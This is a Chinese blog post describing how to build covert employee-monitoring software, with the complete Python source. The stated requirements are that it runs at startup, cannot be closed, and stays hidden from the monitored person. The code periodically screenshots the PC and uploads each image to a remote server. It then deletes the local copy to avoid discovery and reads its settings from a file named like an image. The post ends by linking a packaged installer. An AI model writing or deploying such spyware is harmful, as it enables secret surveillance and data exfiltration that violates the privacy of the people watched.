有个朋友做电商的,发现他的员工上班喜欢摸鱼(说的不就是我吗),让给我给他做一个可以监控他员工上班干嘛的软件(讨厌的资本家),当时我就直接拒绝他了,并告诉他一堆道理,说员工也是人,没必要这样搞。。。。。。 后来我朋友说有偿的!
一、需求:
1、实时监控PC屏幕。
2、可以通过服务端查看,包括查看历史电脑事件和查看当前电脑屏幕内容。
3、该应用为企业应用,所以后台需要可精确查询到每台电脑的过滤功能,由于涉及到隐私,需要支持本地部署。
4、开机就启动,并对PC电脑进行实时监控,软件不能关闭,不能导致电脑卡顿,不能让被监控人知道。
二、实现思路:
1、新建python文件 moniter.py 配置文件sys.ini。
2、采用pyautogui库获取系统资源(当前屏幕截图),并保存本地,高清截屏图片太大,所以做了压缩。
关键API为:pyautogui.screenshot()
代码:
def screenshot(path):
img=pyautogui.screenshot()
img.save(path, quality=40)
3、写个while循环+sleep 定时截图屏幕。
while True:
try:
screenshot(pathabs) ##截屏
except:
traceback.print_exc(file=open('error.txt','a+')) ##异常处理
time.sleep(10) ##10秒候取一次屏幕信心
4、将本地文件上传服务器,并删除本地问题。
files = {
'file': open(pathabs, 'rb')
}
r = requests.get(service, files=files, data={}) ##上传到服务器
a = files["file"]
a.close()
os.remove(pathabs) ##删除本地图片(被发现就完犊子了)
5、搭建后台系统
万能后台,有手把手免费教程
省钱提示:
该博客为交流性博客,爱好者可保存到本地,自己开发后台处理请求。
6、处理打包成EXE,软件开机启动,软件禁止关闭等问题。
三、开发-调试-测试-运行:
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。(熬夜掉头发)
四、上效果:
1、软件长相:
2、 后台效果图(发现了小朋友在打游戏):
五,分享成果,完整代码:
import datetime
import json
import os
import time
# import cv2
import traceback
import pyautogui
import numpy as np
import requests
from PIL import Image
def screenshot(path):
img=pyautogui.screenshot()
img.save(path, quality=40)
def half(path):
im2 = Image.open(path)
(x, y) = im2.size
out = im2.resize((int(x / 2),int(y / 2)), Image.ANTIALIAS)
out.save(path)
def getParam():
file_handleC = open(r"system.jpg", "r", encoding="utf-8")
lines = file_handleC.readlines()
path={}
for line in lines:
path = line
path=json.loads(path)
return path
o=getParam()
path=o["path"]
frequency=o["frequency"]
save=o["save"]
service=o["service"]
while True:
t = datetime.datetime.now().strftime('%H%M%S')
day=datetime.datetime.now().strftime('%Y%m%d')
pathabs =path+day
if (os.path.exists(pathabs) == False):
os.makedirs(pathabs)
pathabs = pathabs+"/"+str(t) + ".jpg"
try:
screenshot(pathabs)
half(pathabs)
##文件保存
if save == "service" or save == "all":
files = {
'file': open(pathabs, 'rb')
}
r = requests.get(service, files=files, data={})
a = files["file"]
a.close()
if save == "service":
os.remove(pathabs)
except:
print(datetime.datetime.now().strftime('%Y%m%d%H%M%S'))
print("发生异常")
traceback.print_exc(file=open('error.txt','a+'))
time.sleep(frequency)
成品安装包请自行下载(客户端):https://download.csdn.net/download/m0_60921402/85334945